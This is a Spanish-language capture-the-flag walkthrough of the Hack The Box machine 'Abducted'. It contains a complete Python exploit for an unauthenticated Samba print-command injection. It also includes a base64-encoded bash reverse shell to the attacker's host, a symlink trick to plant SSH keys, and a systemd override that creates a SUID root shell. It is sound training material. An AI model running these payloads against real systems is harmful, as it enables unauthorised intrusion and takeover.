Descripción
Abducted es una máquina de Hack The Box de dificultad media que cuenta con las siguientes vulnerabilidades:
- Ejecución Remota de Comandos en Samba mediante Inyección de Comandos
- Pivote de usuario mediante la decodificación del archivo de configuración
rclone - Pivote de usuario aprovechando la configuración incorrecta de enlaces simbólicos Samba
- Escalada de Privilegios mediante la reescritura de la configuración del servicio Systemd
Reconocimiento
Primero, vamos a verificar con el comando ping si la máquina está activa y cuál es su sistema operativo. La dirección IP de la máquina objetivo es 10.129.85.94.
$ ping -c 3 10.129.85.94
PING 10.129.85.94 (10.129.85.94) 56(84) bytes of data.
64 bytes from 10.129.85.94: icmp_seq=1 ttl=63 time=46.7 ms
64 bytes from 10.129.85.94: icmp_seq=2 ttl=63 time=46.8 ms
64 bytes from 10.129.85.94: icmp_seq=3 ttl=63 time=46.3 ms
--- 10.129.85.94 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.310/46.602/46.803/0.211 ms
La máquina está activa y con el TTL que es igual a 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.129.85.94 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.94
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds
Obtenemos tres puertos abiertos: 22, 139 y 445.
Enumeración
Luego realizamos un escaneo más avanzado, con versión de servicio y scripts.
$ nmap 10.129.85.94 -sV -sC -p22,139,445 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.94
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: ABDUCTED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.33 seconds
Obtenemos dos servicios: uno Secure Shell (SSH) y otro Samba (SMB - Service Message Block Service). Dado que no tenemos credenciales viables para el servicio SSH, vamos a pasar al servicio Samba y sus comparticiones.
$ smbclient -L '//10.129.85.94/' -N
Sharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
Encontramos dos comparticiones de carpetas: projects y transfer, a las que no tenemos acceso. Y la impresora HP-Reception con el servicio IPC$. La impresora permite la impresión de invitados ya que permite su enumeración utilizando el comando RPC srvinfo.
$ rpcclient -N '10.129.85.94' -U '' -c 'srvinfo'
ABDUCTED Wk Sv PrQ Unx NT SNT Hartley Group Document Services
platform_id : 500
os version : 6.1
server type : 0x809a03
Explotación
CVE-2026-4480 es una vulnerabilidad crítica de inyección de comandos en el subsistema de impresión de Samba que permite a un atacante remoto no autenticado ejecutar comandos arbitrarios del SO con privilegios elevados. La falla existe porque la descripción del trabajo de impresión suministrada por el cliente (%J) se pasa al comando de impresión configurado a través de un terminal sin validación o escape adecuados, permitiendo a los atacantes inyectar meta-caracteres maliciosos del terminal.
La raíz técnica de esta vulnerabilidad reside en el manejo inadecuado de variables de sustitución dentro del archivo de configuración smb.conf. Cuando un servidor Samba depende de scripts externos a través de la directiva print command, la macro %J se expande dinámicamente para coincidir con el nombre del trabajo de impresión suministrado por el cliente. Debido a que Samba carece de sanitización estricta o de escape de metacaracteres de terminal (como ;, &, | o $()) dentro de esta variable, un atacante no autenticado puede enviar un trabajo de impresión con un título maliciosamente elaborado; cuando Samba concatena esta cadena y la pasa directamente al terminal del sistema (/bin/sh), los comandos inyectados se ejecutan con los privilegios elevados del demonio Samba, lo que resulta en un compromiso completo remoto del sistema.
El script execute_print.py está desarrollado para explotar la vulnerabilidad desplegando un reverse terminal en la máquina remota. Necesitamos cambiar la variable MACHINE_IP con la dirección IP de la máquina, la variable PRINTER_NAME con el nombre de la impresora y la variable PAYLOAD_COMMAND con el comando que queremos ejecutar en la máquina en formato b"bash -c '<COMMAND_TO_RUN>' & \n, como b"bash -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yNTQvMTIzNCAwPiYx | base64 -d | bash' & \n".
#!/usr/bin/env python3
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials
# Configuration variables
MACHINE_IP = "10.129.85.94"
PRINTER_NAME = "HP-Reception"
PAYLOAD_COMMAND = b"bash -c '<COMMAND_TO_RUN>' & \n
# Initialize Samba parameters and configure anonymous credentials
lp = LoadParm()
lp.load_default()
creds = Credentials()
creds.guess(lp)
creds.set_anonymous()
# Connect to the remote spoolss pipe via Named Pipes using the target machine IP
iface = spoolss.spoolss(f"ncacn_np:{MACHINE_IP}[\\pipe\\spoolss]", lp, creds)
# Open a handle to the specified printer share dynamically using the configured variable
h = iface.OpenPrinter(f"\\\\{MACHINE_IP}\\{PRINTER_NAME}", "", spoolss.DevmodeContainer(), 0x00000008)
# Construct document info using the "|sh" character sequence inside the document name field
i1 = spoolss.DocumentInfo1()
i1.document_name = "|sh"
i1.output_file = None
i1.datatype = "RAW"
ctr = spoolss.DocumentInfoCtr()
ctr.level = 1
ctr.info = i1
# Trigger the print job sequence to transmit the test document structure and payload variable
iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h)
iface.WritePrinter(h, PAYLOAD_COMMAND, len(PAYLOAD_COMMAND))
iface.EndPagePrinter(h)
iface.EndDocPrinter(h)
iface.ClosePrinter(h)
Iniciamos un puerto TCP de escucha para recibir la terminal inversa y ejecutamos el script; recibimos la terminal inversa como el usuario nobody.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.254] from (UNKNOWN) [10.129.85.94] 45624
bash: cannot set terminal process group (1691): Inappropriate ioctl for device
bash: no job control in this shell
nobody@abducted:/var/spool/samba$ id
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Al enumerar la máquina encontramos un archivo de configuración de respaldo rclone en el /opt/offsite-backup/rclone.conf.
nobody@abducted:/var/spool/samba$ ls /opt
offsite-backup
nobody@abducted:/var/spool/samba$ ls /opt/offsite-backup
rclone.conf
sync.sh
nobody@abducted:/var/spool/samba$ cat /opt/offsite-backup/rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
Encontramos una contraseña codificada/cifrada, HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw, para el usuario svc-backup rclone. La aplicación tiene una funcionalidad integrada para decodificar este tipo de credenciales, reveal.
nobody@abducted:/var/spool/samba$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
iXzvcib3SrpZ
La contraseña decodificada es iXzvcib3SrpZ. Enumeramos tres usuarios de consola en el sistema: root, scott y marcus.
nobody@abducted:/var/spool/samba$ grep sh /etc/passwd
grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
scott:x:1000:1001:Scott Mercer:/home/scott:/bin/bash
marcus:x:1001:1002:Marcus Vale:/home/marcus:/bin/bash
Encontramos que esta es la contraseña para el usuario scott y podemos crear una nueva sesión de consola usando el protocolo SSH.
$ ssh scott@10.129.85.94
...
scott@abducted:~$ id
uid=1000(scott) gid=1001(scott) groups=1001(scott)
Post-Explotación
Ahora podemos leer el archivo de configuración /etc/samba/shares.conf de Samba.
scott@abducted:~$ cat /etc/samba/shares.conf
[HP-Reception]
comment = Reception printer
path = /var/spool/samba
printable = yes
guest ok = yes
print command = /usr/local/bin/printaudit %J %s
lpq command = /bin/true
lprm command = /bin/true
[projects]
comment = Hartley Group Project Files
path = /srv/projects
valid users = scott
read only = no
browseable = yes
[transfer]
comment = Staff file transfer
path = /srv/transfer
valid users = scott
force user = marcus
read only = no
wide links = yes
browseable = yes
scott@abducted:~$ ls -l /srv
total 8
drwxr-x--- 2 scott scott 4096 Oct 9 2025 projects
drwxr-xr-x 2 scott scott 4096 Oct 9 2025 transfer
El recurso compartido transfer tiene una configuración notable ya que está configurado con force user = Marcus, por lo que cualquier operación realizada a través de este recurso compartido se ejecuta como usuario marcus. Además, wide links están habilitados, lo que permite a Samba seguir enlaces simbólicos que apuntan fuera del árbol de directorios compartido. Dado que scott es dueño de /srv/transfer en disco, se puede plantar un enlace simbólico apuntando al directorio personal (home) de marcus. Esto es suficiente para subir un archivo authorized_keys en /home/marcus/.ssh.
scott@abducted:~$ ln -s /home/marcus /srv/transfer/marcus_home
Luego nos movemos a nuestra máquina y subimos el archivo SSH usando el protocolo SMB.
$ ssh-keygen -t rsa -b 1024 -f id_rsa
$ smbclient '//10.129.85.94/transfer' -U 'scott%iXzvcib3SrpZ'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Aug 28 21:33:12 2026
.. D 0 Fri Aug 28 21:33:12 2026
marcus_home D 0 Thu Jun 4 15:47:57 2026
...
smb: \> cd marcus_home\
smb: \marcus_home\> mkdir .ssh
smb: \marcus_home\> cd .ssh
smb: \marcus_home\.ssh\> put id_rsa.pub authorized_keys
putting file id_rsa.pub as \marcus_home\.ssh\authorized_keys (1,5 kB/s) (average 1,5 kB/s)
Ahora podemos crear una sesión en la máquina como el usuario marcus usando el protocolo SSH y la clave privada SSH generada.
$ ssh -i id_rsa marcus@10.129.85.94
marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)
Encontramos que el usuario pertenece al grupo operators, así que buscamos archivos/carpetas propiedad de ese grupo.
marcus@abducted:~$ find / -group operators 2> /dev/null
/etc/systemd/system/smbd.service.d
Encontramos una carpeta escribible, /etc/systemd/system/smbd.service.d. Dado que esta es la carpeta para configuración personalizada del servicio smb, podemos crear un archivo override.conf personalizado para ejecutar comandos personalizados como usuario root, ya que el servicio se está ejecutando con este usuario.
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/suid-bash
ExecStartPre=/bin/chmod u+s /tmp/suid-bash
Modificamos el sistema y recargamos la configuración para que se ejecute el comando. Luego desplegamos la sesión root.
marcus@abducted:~$ nano /etc/systemd/system/smbd.service.d/override.conf
marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbd
marcus@abducted:~$ /tmp/suid-bash -p
suid-bash-5.2# id
uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)
Flags
En el terminal root podemos recuperar las user.txt y root.txt flags.
suid-bash-5.2# cat /home/scott/user.txt
<REDACTED>
suid-bash-5.2# cat /root/root.txt
<REDACTED>